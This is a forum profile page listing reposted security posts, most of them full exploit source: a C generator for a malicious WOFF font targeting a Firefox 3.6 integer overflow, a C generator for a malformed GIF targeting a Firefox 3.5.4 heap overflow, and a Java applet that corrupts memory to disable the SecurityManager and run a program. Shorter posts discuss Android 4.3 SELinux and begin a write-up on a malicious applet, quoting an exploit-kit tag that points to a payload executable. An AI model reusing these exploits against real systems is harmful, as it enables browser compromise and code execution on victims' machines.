Jump to content

Nytro

Administrators
  • Posts

    18715
  • Joined

  • Last visited

  • Days Won

    701

Everything posted by Nytro

  1. [h=1]Mozilla Firefox 3.6 - Integer Overflow Exploit[/h] #include <stdio.h>#include <stdlib.h> #include <string.h> #include <zlib.h> /* x90c WOFF 1day exploit (MFSA2010-08 WOFF Heap Corruption due to Integer Overflow 1day exploit) CVE-ID: CVE-2010-1028 Full Exploit: http:/www.exploit-db.com/sploits/27698.tgz Affacted Products: - Mozilla Firefox 3.6 ( Gecko 1.9.2 ) - Mozilla Firefox 3.6 Beta1, 3, 4, 5 ( Beta2 ko not released ) - Mozilla Firefox 3.6 RC1, RC2 Fixed in: - Mozilla Firefox 3.6.2 ( after 3.6 version this bug fixed ) security bug credit: Evgeny Legerov < intevydis.com > Timeline: 2010.02.01 - Evengy Legerov Initial discovered and shiped it into "Immunity 3rd Party Product VulnDisco 9.0" https://forum.immunityinc.com/board/thread/1161/vulndisco-9-0/ 2010.02.18 - without reporter, it self analyzed and contact to mozilla and secunia before advisory reporting http://secunia.com/advisories/38608 2010.03.19 - CVE registered http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-1028 2010.03.22 - Mozilla advisory report http://www.mozilla.org/security/announce/2010/mfsa2010-08.html 2010.04.01 - x90c exploit (x90c.org) Compile: [root@centos5 woff]# gcc CVE-2010-1028_exploit.c -o CVE-2010-1028_exploit -lz rebel: greets to my old l33t hacker dude in sweden ... BSDaemon: and Invitation of l33t dude for exploit share #phrack@efnet, #social@overthewire x90c */ typedef unsigned int UInt32; typedef unsigned short UInt16; /* for above two types, some WOFF header struct uses big-endian byte order. */ typedef struct { UInt32 signature; UInt32 flavor; UInt32 length; UInt16 numTables; UInt16 reserved; UInt32 totalSfntSize; UInt16 majorVersion; UInt16 minorVersion; UInt32 metaOffset; UInt32 metaLength; UInt32 metaOrigLength; UInt32 privOffset; UInt32 privLength; } WOFF_HEADER; typedef struct { UInt32 tag; UInt32 offset; UInt32 compLength; UInt32 origLength; UInt32 origChecksum; } WOFF_DIRECTORY; #define FLAVOR_TRUETYPE_FONT 0x0001000 #define FLAVOR_CFF_FONT 0x4F54544F struct ff_version { int num; char *v_nm; unsigned long addr; }; struct ff_version plat[] = { { 0, "Win XP SP3 ko - FF 3.6", 0x004E18ED }, { 1, "Win XP SP3 ko - FF 3.6 Beta1", 0x004E17BD }, { 2, "Win XP SP3 ko - FF 3.6 Beta3", 0x004E193D }, { 3, "Win XP SP3 ko - FF 3.6 Beta4", 0x004E20FD }, { 4, "Win XP SP3 ko - FF 3.6 Beta5", 0x600A225D }, { 5, "Win XP SP3 ko - FF 3.6 RC1", 0x004E17BD }, { 6, "Win XP SP3 ko - FF 3.6 RC2", 0x004E18ED }, { 0x00, NULL, 0x0 } }; void usage(char *f_nm) { int i = 0; fprintf(stdout, "\n Usage: %s [Target ID]\n\n", f_nm); for(i = 0; plat.v_nm != NULL; i++) fprintf(stdout, "\t{%d} %s. \n", (plat.num), (plat.v_nm)); exit(-1); } int main(int argc, char *argv[]) { WOFF_HEADER woff_header; WOFF_DIRECTORY woff_dir[1]; FILE *fp; char dataBlock[1024]; char compressed_dataBlock[1024]; char de_buf[1024]; int total_bytes = 0, total_dataBlock = 0; unsigned long destLen = 1024; unsigned long de_Len = 1024; unsigned long i = 0; unsigned long addr_saved_ret_val = 0; int ret = 0; int n = 0; if(argc < 2) usage(argv[0]); n = atoi(argv[1]); if(n < 0 || n > 6) { fprintf(stderr, "\nTarget number range is 0-6!\n"); usage(argv[0]); } printf("\n#### x90c WOFF exploit ####\n"); printf("\nTarget: %d - %s\n\n", (plat[n].num), (plat[n].v_nm)); // WOFF HEADER woff_header.signature = 0x46464F77; // 'wOFF' ( L.E ) woff_header.flavor = FLAVOR_TRUETYPE_FONT; // sfnt version ( B.E ) woff_header.length = 0x00000000; // woff file total length ( B.E ) woff_header.numTables = 0x0100; // 0x1 - woff dir entry length ( B.E ) woff_header.reserved = 0x0000; // res bit ( all zero ) // totalSFntSize value will bypass validation condition after integer overflow woff_header.totalSfntSize = 0x1C000000; // 0x0000001C ( B.E ) woff_header.majorVersion = 0x0000; // major version woff_header.minorVersion = 0x0000; // minor version woff_header.metaOffset = 0x00000000; // meta data block offset ( not used ) woff_header.metaLength = 0x00000000; // meta data block length ( not used ) woff_header.metaOrigLength = 0x00000000; // meta data block before-compresed length ( not used ) woff_header.privOffset = 0x00000000; // Private data block offset ( not used ) woff_header.privLength = 0x00000000; // Private data block length woff_dir[0].tag = 0x54444245; // 'EBDT' ( B.E ) woff_dir[0].offset = 0x40000000; // 0x00000040 ( B.E ) woff_dir[0].compLength = 0x00000000; // ( B.E ) // to trigger field bit. // 0xFFFFFFF8-0xFFFFFFFF value to trigger integer overflow. // 1) calculation result is 0, it's bypass to sanityCheck() function // 2) passed very long length into zlib Decompressor, it's trigger memory corruption! // 0xFFFFFFFD-0xFFFFFFFF: bypass sanityCheck() // you can use only the value of 0xFFFFFFFF ( integer overflow!!! ) // you can't using other values to bypass validation condition woff_dir[0].origLength = 0xFFFFFFFF; // 0xFFFFFFFF ( B.E ) printf("WOFF_HEADER [ %d bytes ]\n", sizeof(WOFF_HEADER)); printf("WOFF_DIRECTORY [ %d bytes ]\n", sizeof(WOFF_DIRECTORY)); // to compress data block // [ 0x0c0c0c0c 0x0c0c0c0c 0x0c0c0c0c ... ] // ...JIT spray stuff... addr_saved_ret_val = plat[n].addr; addr_saved_ret_val += 0x8; // If add 8bytes it reduced reference error occurs for(i = 0; i < sizeof(dataBlock); i+=4) // 0x004E18F5 { dataBlock[i+0] = (addr_saved_ret_val & 0x000000ff); dataBlock[i+1] = (addr_saved_ret_val & 0x0000ff00) >> 8; dataBlock[i+2] = (addr_saved_ret_val & 0x00ff0000) >> 16; dataBlock[i+3] = (addr_saved_ret_val & 0xff000000) >> 24; } // compress dataBlock with zlib's compress() if(compress((Bytef *)compressed_dataBlock, (uLongf *)&destLen, (Bytef *)dataBlock, (uLong)(sizeof(dataBlock)) ) != Z_OK) { fprintf(stderr, "Zlib compress failed!\n"); exit(-1); } printf("\nZlib compress(dataBlock) ...\n"); printf("DataBlock [ %u bytes ]\n", sizeof(dataBlock)); printf("Compressed DataBlock [ %u bytes ]\n", destLen); printf("[ Z_OK ]\n\n"); total_bytes = sizeof(WOFF_HEADER) + sizeof(WOFF_DIRECTORY) + destLen; total_dataBlock = destLen; printf("Total WOFF File Size: %d bytes\n", total_bytes); // byte order change to total_bytes, total_dataBlock ( L.E into B.E ) total_bytes = ((total_bytes & 0xff000000) >> 24) | ((total_bytes & 0x00ff0000) >> 8) | ((total_bytes & 0x0000ff00) << 8) | ((total_bytes & 0x000000ff) << 24); woff_header.length = total_bytes; total_dataBlock = ((total_dataBlock & 0xff000000) >> 24) | ((total_dataBlock & 0x00ff0000) >> 8) | ((total_dataBlock & 0x0000ff00) << 8) | ((total_dataBlock & 0x000000ff) << 24); woff_dir[0].compLength = total_dataBlock; // create attack code data if((fp = fopen("s.woff", "wb")) < 0) { fprintf(stderr, "that file to create open failed\n"); exit(-2); } // setup WOFF data store fwrite(&woff_header, 1, sizeof(woff_header), fp); fwrite(&woff_dir[0], 1, sizeof(woff_dir[0]), fp); fwrite(&compressed_dataBlock, 1, destLen, fp); fclose(fp); // zlib extract test ret = uncompress(de_buf, &de_Len, compressed_dataBlock, destLen); if(ret != Z_OK) { switch(ret) { case Z_MEM_ERROR: printf("Z_MEM_ERROR\n"); break; case Z_BUF_ERROR: printf("Z_BUF_ERROR\n"); break; case Z_DATA_ERROR: printf("Z_DATA_ERROR\n"); break; } fprintf(stderr, "Zlib uncompress test failed!\n"); unlink("./s.woff"); exit(-3); } printf("\nZlib uncompress test(compressed_dataBlock) ...\n"); printf("[ Z_OK ]\n\n"); return 0; } /* eof */ Sursa: Mozilla Firefox 3.6 - Integer Overflow Exploit
  2. [h=1]Mozilla Firefox 3.5.4 - Local Color Map Exploit[/h] #include <stdio.h>#include <stdlib.h> /* x90c local color map 1day exploit CVE-2009-3373 Firefox local color map 1day exploit (MFSA 2009-56 Firefox local color map parsing heap overflow) Full Exploit: http://www.exploit-db.com/sploits/27699.tgz vulnerable: - Firefox 3.5.4 <= - Firefox 3.0.15 <= - SeaMonkey 2.0 <= x90c */ struct _IMAGE { char GCT_size; // global color map size char Background; // backcolor( select in global color map entry ) char default_pixel_ratio; // 00 char gct[4][3]; // 4 entries of global color map( 1bit/1pixel ) // char app_ext[19]; // application extension 19bytes ( to enable animation ) char gce[2]; // '!' GCE Label = F9 char ext_data; // 04 = 4 bytes of extension data char trans_color_ind; // use transparent color? ( 0/1 ) char ani_delay[2]; // 00 00 ( micro seconds delay in animation ) char trans; // color map entry to apply transparent color ( applied first image ) char terminator1; // 0x00 char image_desc; // ',' char NW_corner[4]; // 00 00 00 00 (0, 0) image put position char canvas_size[4]; // 03 00 05 00 ( 3x5 ) logical canvas size char local_colormap; // 80 use local color map? ( last bottom 3bits are bits per pixel) char lct[4][3]; // local color map ( table ) char LZW_min; // 02 ( LZW data length -1 ) char encoded_image_size;// 03 ( LZW data length ) char image_data[1]; // LZW encoded image data char terminator2; // 0x00 } IMAGE; struct _IMAGE1 { char image_desc; // ',' char NW_corner[4]; // 00 00 00 00 (0, 0) char canvas_size[4]; // 03 00 05 00 ( 3x5 ) char local_colormap; // 00 = no local color map char lct[7][3]; // local color map char lcta[1][2]; // char LZW_min; // 08 // char encoded_image_size; // 0B ( 11 bytes ) // char image_data[9]; // encoded image data //char terminator2; // 0x00 } IMAGE1; struct _GIF_HEADER { char MAGIC[6]; // GIF89a unsigned short canvas_width; // 03 00 unsigned short canvas_height; // 05 00 struct _IMAGE image; struct _IMAGE1 image1; // char trailler; // ; // GIF file trailer } GIF_HEADER; int main(int argc, char *argv[]) { struct _GIF_HEADER gif_header; int i = 0; // (1) first image frame to LZW data, proper dummy ( it's can't put graphic ) // char data[3] = "\x84\x8F\x59"; char data[3] = "\x00\x00\x00"; // (2) second image frame to LZW data, backcolor changed by reference local color map char data1[9] = "\x84\x8F\x59\x84\x8F\x59\x84\x8F\x59"; char app_ext[19] = "\x21\xFF\x0B\x4E\x45\x54\x53\x43\x41\x50\x45\x32\x2E\x30\x03\x01\x00\x00\x00"; // animation tag ( not use ) FILE *fp; memset(&gif_header, 0, sizeof(gif_header)); // MAGIC ( GIF87a ) last version - support alpha value(transparency) gif_header.MAGIC[0] = '\x47'; gif_header.MAGIC[1] = '\x49'; gif_header.MAGIC[2] = '\x46'; gif_header.MAGIC[3] = '\x38'; gif_header.MAGIC[4] = '\x39'; gif_header.MAGIC[5] = '\x61'; // LOGICAL CANVAS gif_header.canvas_width = 3; // global canvas width length gif_header.canvas_height = 5; // height length // GLOBAL HEADER ( included global header, if local color map exists, not used global color map ) gif_header.image.GCT_size = '\x81'; // 81 gif_header.image.Background = '\x00'; // global color table #2 ( black ) gif_header.image.default_pixel_ratio = '\x00'; // 00 ( Default pixel aspect ratio ) // gct ( [200][3] ) gif_header.image.gct[0][0] = '\x43'; gif_header.image.gct[0][1] = '\x43'; gif_header.image.gct[0][2] = '\x43'; gif_header.image.gct[1][0] = '\x43'; gif_header.image.gct[1][1] = '\x43'; gif_header.image.gct[1][2] = '\x43'; gif_header.image.gct[2][0] = '\x43'; gif_header.image.gct[2][1] = '\x43'; gif_header.image.gct[2][2] = '\x43'; gif_header.image.gct[3][0] = '\x43'; gif_header.image.gct[3][1] = '\x43'; gif_header.image.gct[3][2] = '\x43'; /* for(i = 0; i < 19; i++) { gif_header.image.app_ext = app_ext; }*/ gif_header.image.gce[0] = '!'; gif_header.image.gce[1] = '\xF9'; gif_header.image.ext_data = '\x04'; gif_header.image.trans_color_ind = '\x00'; // no use transparent color gif_header.image.ani_delay[0] = '\x00'; // C8 = 2 seconds delay ( animation ) gif_header.image.ani_delay[1] = '\x00'; gif_header.image.trans = '\x00'; // no use transparent color ( color map ) gif_header.image.terminator1 = '\x00'; // IMAGE Header gif_header.image.image_desc = ','; gif_header.image.NW_corner[0] = '\x00'; // 0,0 position gif_header.image.NW_corner[1] = '\x00'; gif_header.image.NW_corner[2] = '\x00'; gif_header.image.NW_corner[3] = '\x00'; gif_header.image.canvas_size[0] = '\x03'; // 3 x 5 canvas gif_header.image.canvas_size[1] = '\x00'; gif_header.image.canvas_size[2] = '\x05'; gif_header.image.canvas_size[3] = '\x00'; gif_header.image.local_colormap = 0x80; // use local color map // gif_header.image.local_colormap |= 0x40; // image formatted in Interlaced order //gif_header.image.local_colormap |= 0x4; // pixel of local color map //gif_header.image.local_colormap |= 0x2; // 2 bits. gif_header.image.local_colormap |= 0x1; // bits per pixel. ( black/white ) gif_header.image.lct[0][0] = '\x42'; // R ( red ) gif_header.image.lct[0][1] = '\x42'; gif_header.image.lct[0][2] = '\x42'; gif_header.image.lct[1][0] = '\x42'; gif_header.image.lct[1][1] = '\x42'; // G ( green ) gif_header.image.lct[1][2] = '\x42'; // b ( blue ) gif_header.image.lct[2][0] = '\x42'; gif_header.image.lct[2][1] = '\x42'; gif_header.image.lct[2][2] = '\x42'; gif_header.image.lct[3][0] = '\x42'; gif_header.image.lct[3][1] = '\x42'; gif_header.image.lct[3][2] = '\x42'; // RASTER DATA gif_header.image.LZW_min = '\x00'; // total encode data - 1 gif_header.image.encoded_image_size = '\x01'; // 255 bytes // encoded data for(i = 0; i < 1; i++) { gif_header.image.image_data = 0xFF; } // RASTER DATA EOF gif_header.image.terminator2 = '\x00'; // -------------------------------------------------- // ------------- IMAGE1 ----------------------------- gif_header.image1.image_desc = ','; gif_header.image1.NW_corner[0] = '\x00'; // (0, 0) gif_header.image1.NW_corner[1] = '\x00'; gif_header.image1.NW_corner[2] = '\x00'; gif_header.image1.NW_corner[3] = '\x00'; gif_header.image1.canvas_size[0] = '\x03'; // 3 x 5 gif_header.image1.canvas_size[1] = '\x00'; gif_header.image1.canvas_size[2] = '\x05'; gif_header.image1.canvas_size[3] = '\x00'; gif_header.image1.local_colormap = 0x80; // use local color map // gif_header.image1.local_colormap |= 0x40; // image formatted in Interlaced order //gif_header.image1.local_colormap |= 0x4; // pixel of local color map 4 pixel gif_header.image1.local_colormap |= 0x2; //gif_header.image1.local_colormap |= 0x1; // 1bit per pixel. // below values are will used as return addr for(i = 0; i < 7; i++) // second image frame's local color map entry length is 8 { gif_header.image1.lct[0] = '\x0c'; // (RET & 0x00FF0000) gif_header.image1.lct[1] = '\x0c'; // (RET & 0xFF00FF00) gif_header.image1.lct[2] = '\x0c'; // (RET & 0X000000FF) } gif_header.image1.lcta[0][0] = '\x0c'; gif_header.image1.lcta[0][1] = '\x0c'; //} // RASTER DATA //gif_header.image1.LZW_min = 0x00;//'\x05'; //gif_header.image1.encoded_image_size = 0x00;//'\x06';*/ // encoded data /* for(i = 0; i < 9; i++) { gif_header.image1.image_data = 0xFF;//data1; }*/ // RASTER DATA // second image frame's last byte ignored ( null terminatee, GIF total trailer ) //gif_header.image1.terminator2 = '\x00'; //gif_header.trailler = ';'; // -------------------------------------------------- fp = fopen("a.gif", "wb"); printf("%d\n", sizeof(struct _GIF_HEADER)); fwrite(&gif_header, sizeof(struct _GIF_HEADER) - 1, 1, fp); fclose(fp); system("xxd ./a.gif"); } Sursa: Mozilla Firefox 3.5.4 - Local Color Map Exploit
  3. Packet Storm Exploit 2013-0819-1 - Oracle Java BytePackedRaster.verify() Signed Integer Overflow Site packetstormsecurity.com The BytePackedRaster.verify() method in Oracle Java versions prior to 7u25 is vulnerable to a signed integer overflow that allows bypassing of "dataBitOffset" boundary checks. This exploit code demonstrates remote code execution by popping calc.exe. It was obtained through the Packet Storm Bug Bounty program. import java.awt.CompositeContext;import java.awt.image.*; import java.awt.color.*; import java.beans.Statement; import java.security.*; public class MyJApplet extends javax.swing.JApplet { /** * Initializes the applet myJApplet */ @Override public void init() { /* Set the Nimbus look and feel */ //<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) "> /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel. * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html */ try { for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) { if ("Nimbus".equals(info.getName())) { javax.swing.UIManager.setLookAndFeel(info.getClassName()); break; } } } catch (ClassNotFoundException ex) { java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (InstantiationException ex) { java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (IllegalAccessException ex) { java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (javax.swing.UnsupportedLookAndFeelException ex) { java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } //</editor-fold> /* Create and display the applet */ try { java.awt.EventQueue.invokeAndWait(new Runnable() { public void run() { initComponents(); // print environment info logAdd( "JRE: " + System.getProperty("java.vendor") + " " + System.getProperty("java.version") + "\nJVM: " + System.getProperty("java.vm.vendor") + " " + System.getProperty("java.vm.version") + "\nJava Plug-in: " + System.getProperty("javaplugin.version") + "\nOS: " + System.getProperty("os.name") + " " + System.getProperty("os.arch") + " (" + System.getProperty("os.version") + ")" ); } }); } catch (Exception ex) { ex.printStackTrace(); } } public void logAdd(String str) { txtArea.setText(txtArea.getText() + str + "\n"); } public void logAdd(Object o, String... str) { logAdd((str.length > 0 ? str[0]:"") + (o == null ? "null" : o.toString())); } public String errToStr(Throwable t) { String str = "Error: " + t.toString(); StackTraceElement[] ste = t.getStackTrace(); for(int i=0; i < ste.length; i++) { str += "\n\t" + ste.toString(); } t = t.getCause(); if (t != null) str += "\nCaused by: " + errToStr(t); return str; } public void logError(Exception ex) { logAdd(errToStr(ex)); } public static String toHex(int i) { return Integer.toHexString(i); } /** * This method is called from within the init() method to initialize the * form. WARNING: Do NOT modify this code. The content of this method is * always regenerated by the Form Editor. */ @SuppressWarnings("unchecked") // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents private void initComponents() { btnStart = new javax.swing.JButton(); jScrollPane2 = new javax.swing.JScrollPane(); txtArea = new javax.swing.JTextArea(); btnStart.setText("Run calculator"); btnStart.addMouseListener(new java.awt.event.MouseAdapter() { public void mousePressed(java.awt.event.MouseEvent evt) { btnStartMousePressed(evt); } }); txtArea.setEditable(false); txtArea.setColumns(20); txtArea.setFont(new java.awt.Font("Arial", 0, 12)); // NOI18N txtArea.setRows(5); txtArea.setTabSize(4); jScrollPane2.setViewportView(txtArea); javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addContainerGap() .addComponent(jScrollPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 580, Short.MAX_VALUE) .addContainerGap()) .addGroup(layout.createSequentialGroup() .addGap(242, 242, 242) .addComponent(btnStart, javax.swing.GroupLayout.PREFERRED_SIZE, 124, javax.swing.GroupLayout.PREFERRED_SIZE) .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) ); layout.setVerticalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() .addContainerGap() .addComponent(jScrollPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 344, Short.MAX_VALUE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) .addComponent(btnStart) .addContainerGap()) ); }// </editor-fold>//GEN-END:initComponents private boolean _isMac = System.getProperty("os.name","").contains("Mac"); private boolean _is64 = System.getProperty("os.arch","").contains("64"); private int tryExpl() { try { // alloc aux vars String name = "setSecurityManager"; Object[] o1 = new Object[1]; Object o2 = new Statement(System.class, name, o1); // make a dummy call for init // allocate byte buffer for destination Raster DataBufferByte dst = new DataBufferByte(9); // allocate the target array right after dst[] int[] a = new int[8]; // allocate an object array right after a[] Object[] oo = new Object[7]; // create Statement with the restricted AccessControlContext oo[2] = new Statement(System.class, name, o1); // create powerful AccessControlContext Permissions ps = new Permissions(); ps.add(new AllPermission()); oo[3] = new AccessControlContext( new ProtectionDomain[]{ new ProtectionDomain( new CodeSource( new java.net.URL("file:///"), new java.security.cert.Certificate[0] ), ps ) } ); // store System.class pointer in oo[] oo[4] = ((Statement)oo[2]).getTarget(); // save old a.length int oldLen = a.length; logAdd("a.length = 0x" + toHex(oldLen)); // prepare source buffer DataBufferByte src = new DataBufferByte(8); for(int i=0; i<8; i++) src.setElem(i,-1); // create normal source raster MultiPixelPackedSampleModel sm1 = new MultiPixelPackedSampleModel(DataBuffer.TYPE_BYTE, 4,1,1,4,0); WritableRaster wr1 = Raster.createWritableRaster(sm1, src, null); // create MultiPixelPackedSampleModel with malformed "scanlineStride" and "dataBitOffset" fields MultiPixelPackedSampleModel sm2 = new MultiPixelPackedSampleModel(DataBuffer.TYPE_BYTE, 4,2,1, 0x3fffffdd - (_is64 ? 16:0), 288 + (_is64 ? 128:0)); // create destination BytePackedRaster basing on sm2 WritableRaster wr2 = Raster.createWritableRaster(sm2, dst, null); logAdd(wr2); // create sun.java2d.SunCompositeContext byte[] bb = new byte[] { 0, -1 }; IndexColorModel cm = new IndexColorModel(1, 2, bb, bb, bb); CompositeContext cc = java.awt.AlphaComposite.Src.createContext(cm, cm, null); logAdd(cc); // call native Java_sun_awt_image_BufImgSurfaceData_initRaster() (see ...\jdk\src\share\native\sun\awt\image\BufImgSurfaceData.c) // and native Java_sun_java2d_loops_Blit_Blit() (see ...\jdk\src\share\native\sun\java2d\loops\Blit.c) cc.compose(wr1, wr2, wr2); // check results: a.length should be overwritten by 0xF8 int len = a.length; logAdd("a.length = 0x" + toHex(len)); if (len == oldLen) { // check a[] content corruption // for RnD for(int i=0; i < len; i++) if (a != 0) logAdd("a["+i+"] = 0x" + toHex(a)); // exit logAdd("error 1"); return 1; } // ok, now we can read/write outside the real a[] storage, // lets find our Statement object and replace its private "acc" field value // search for oo[] after a[oldLen] boolean found = false; int ooLen = oo.length; for(int i=oldLen+2; i < oldLen+32; i++) if (a[i-1]==ooLen && a==0 && a[i+1]==0 // oo[0]==null && oo[1]==null && a[i+2]!=0 && a[i+3]!=0 && a[i+4]!=0 // oo[2,3,4] != null && a[i+5]==0 && a[i+6]==0) // oo[5,6] == null { // read pointer from oo[4] int stmTrg = a[i+4]; // search for the Statement.target field behind oo[] for(int j=i+7; j < i+7+64; j++){ if (a[j] == stmTrg) { // overwrite default Statement.acc by oo[3] ("AllPermission") a[j-1] = a[i+3]; found = true; break; } } if (found) break; } // check results if (!found) { // print the memory dump on error // for RnD String s = "a["+oldLen+"...] = "; for(int i=oldLen; i < oldLen+32; i++) s += toHex(a) + ","; logAdd(s); } else try { // show current SecurityManager logAdd(System.getSecurityManager(), "Security Manager = "); // call System.setSecurityManager(null) ((Statement)oo[2]).execute(); // show results: SecurityManager should be null logAdd(System.getSecurityManager(), "Security Manager = "); } catch (Exception ex) { logError(ex); } logAdd(System.getSecurityManager() == null ? "Ok.":"Fail."); } catch (Exception ex) { logError(ex); } return 0; } private void btnStartMousePressed(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_btnStartMousePressed try { logAdd("===== Start ====="); // try several attempts to exploit for(int i=1; i <= 5 && System.getSecurityManager() != null; i++){ logAdd("Attempt #" + i); tryExpl(); } // check results if (System.getSecurityManager() == null) { // execute payload Runtime.getRuntime().exec(_isMac ? "/Applications/Calculator.app/Contents/MacOS/Calculator":"calc.exe"); } logAdd("===== End ====="); } catch (Exception ex) { logError(ex); } }//GEN-LAST:event_btnStartMousePressed // Variables declaration - do not modify//GEN-BEGIN:variables private javax.swing.JButton btnStart; private javax.swing.JScrollPane jScrollPane2; private javax.swing.JTextArea txtArea; // End of variables declaration//GEN-END:variables } Download: http://packetstormsecurity.com/files/download/122865/PSA-2013-0819-1-exploit.tgz Sursa: Packet Storm Exploit 2013-0819-1 - Oracle Java BytePackedRaster.verify() Signed Integer Overflow ? Packet Storm
  4. [h=1]Android 4.3 and SELinux[/h]Stefano Ortolani Kaspersky Lab Expert Posted August 17, 18:20 GMT Not many weeks ago Google released a new revision of its flagship mobile operating system, Android 4.3. Although some say that this time updates have been quite scarce, from a security perspective there have been some undeniable improvements (among others, the "MasterKey" vulnerability has been finally patched). One of the most prominent is SELinux. Many cheered the event as a long-awaited move, while others criticized its implementation. Personally, I think that the impact is not that easy to assess, especially if we were to question the benefits for end-users. In order to shed some light we can't help but analyze a bit more what SELinux is, and what is its threat model. Let's start from the basics: the security of any Linux-based system is built upon the concept of Discretionary Access Control (DAC), meaning that each user decides which of his own files is accessed (read, written, or executed) by other users. The system itself is protected from tampering by having all system files owned by the administrative user 'root'. Android is based on the very same concepts, but with a small but compelling addition: each app is assigned a different user ID (some exceptions are possible though), thereby isolating and protecting the application data from all other applications. This is the reason why on un-rooted devices it is quite difficult, if not impossible, for a legit application to steal the private data used by another application (unless, obviously, that data is set world-readable). gattaca Users $ ls -las total 0 0 drwxr-xr-x 6 root admin 204 Aug 24 2012 . 0 drwxr-xr-x 31 root wheel 1122 Aug 16 12:56 .. 0 -rw-r--r-- 1 root wheel 0 Jun 20 2012 .localized 0 drwxr-xr-x+ 11 Guest _guest 374 Aug 24 2012 Guest 0 drwxrwxrwt 7 root wheel 238 Apr 9 15:58 Shared 0 drwxr-xr-x+ 87 stefano staff 2958 Aug 11 10:35 stefano DAC means that access to file and resources is defined in terms user and file/directory modes. SELinux builds on top of that (and on 15 years of NSA's OS security research), and introduces another security layer termed Mandatory Access Control (MAC). This layer, configured by system-wide policies, further regulates how users (and thus apps on Android devices) access both their and the system-provided data, all this in a transparent manner. In more technical terms, it is possible to design policies that are able to specify the types of interactions a process configured to be part of a security context can and can not do. A simple, but yet effective, example is the case of a system log daemon running with root privileges (ouch). With SELinux we can configure the entire system such that the process can not access anything but the log file: we would simply need to assign a specific label to the log file, and write a policy allowing the log daemon to access only those files so-labeled (as always, consider that things are a bit more complex than that . Note the two advantages coming from this mindset: (1) the policy is something that can be enforced system-wide (and even root has to abide by it); (2) the permissions are much much more fine-grained than those possibly enforced by the DAC. The ability of limiting what the super-user can do (regardless of its privileges) is pivotal to protect the system from privilege escalation attacks. This is in fact where SELinux excels. Let's take the case of Gingerbreak, a wide-spread exploit to root Gingerbread-based devices. The exploit sends a carefully crafted netlink message to the volume daemon (vold) running as root. Due to some missing bound-checks that message can lead to successful code injection and execution. Since the process runs as root, it is in fact trivial to spawn a setuid-root shell and from there taking control of the device. SELinux would have stopped that exploit by denying the very same message: the default policy (at least in the original patch-set) denies opening that type of socket, so problem solved. If that was not enough, execution of non-system binaries through that daemon process can be further denied by another SELinux policy. shell@tilapia:/ # ls -Z /system/ drwxr-xr-x root root u:object_r:unlabeled:s0 app drwxr-xr-x root shell u:object_r:unlabeled:s0 bin drwxr-xr-x root root u:object_r:unlabeled:s0 etc ... Unlabeled FS after OTA update. Awesome, right? Unfortunately, reality is still quite far from that. The SELinux implementation that is currently deployed on stock Android 4.3 images is missing several important features. First off, SELinux is configured in Permissive mode only, meaning that policies are not enforced, and violations are just being logged (not that useful but for testing). Also, as shown above, the OTA update does not label the system partition correctly (my testing device left me puzzled for quite a while till I found that the researcher Pau Oliva published the exact same finding at DEF CON 21), meaning that a stock-restore is mandatory if a developer is to test it. Finally, besides the fact that the provided policies are anything but restrictive, no MAC is available for the Android middleware (a feature instead part of the NSA's patch-set). What does it mean to the end-user then? Unfortunately, as of now, not much. SELinux as deployed on Android 4.3 can only be tested and policies developed. There is also no safe way to enforce it. Now it is in fact OEM vendors' time. Google is strongly encouraging the development of SELinux implementations (BYOD anyone?) based on stock functionalities rather than on poorly assembled add-ons (see again the talk given at DEFCON 21 for a comprehensive explanation of what "implementation issues" might mean). Developers, on the other hand, are strongly encouraged to get accustomed with the default set of policies, and test their apps for breakage. Will we ever see an Android release with SELinux set to enforce mode? That we can only hope Sursa: https://www.securelist.com/en/blog/9175/Android_4_3_and_SELinux
  5. Anti-decompiling techniques in malicious Java Applets Step 1: How this started While I was investigating the Trojan.JS.Iframe.aeq case (see blogpost < http://www.securelist.com/en/blog?weblogid=9151>) one of the files dropped by the Exploit Kit was an Applet exploiting a vulnerability: <script> document.write('<applet archive="dyJhixy.jar" code="QPAfQoaG.ZqnpOsRRk"><param value="http://fast_DELETED_er14.biz/zHvFxj0QRZA/04az-G112lI05m_AF0Y_C5s0Ip-Vk05REX_0AOq_e0skJ/A0tqO-Z0hT_el0iDbi0-4pxr17_11r_09ERI_131_WO0p-MFJ0uk-XF0_IOWI07_Xsj_0ZZ/8j0A/qql0alP/C0o-lKs05qy/H0-nw-Q108K_l70OC-5j150SU_00q-RL0vNSy/0kfAS0X/rmt0N/KOE0/zxE/W0St-ug0vF8-W0xcNf0-FwMd/0KFCi0MC-Ot0z1_kP/0wm470E/y2H0nlwb14-oS8-17jOB0_p2TQ0/eA3-o0NOiJ/0kWpL0LwBo0-sCO_q0El_GQ/roFEKrLR7b.exe?nYiiC38a=8Hx5S" name="kYtNtcpnx"/></applet>'); </script> Step 2: First analysis So basically I unzipped the .jar and took a look using JD-GUI, a java decompiler. These were the resulting classes inside the .jar file: The class names are weird, but nothing unusual. Usually the Manifest states the entry point (main class) of the applet. In this case there was no manifest, but we could see this in the applet call from the html: <applet archive="dyJhixy.jar" code="QPAfQoaG.ZqnpOsRRk"> << Package and Class to execute <param value="http:// 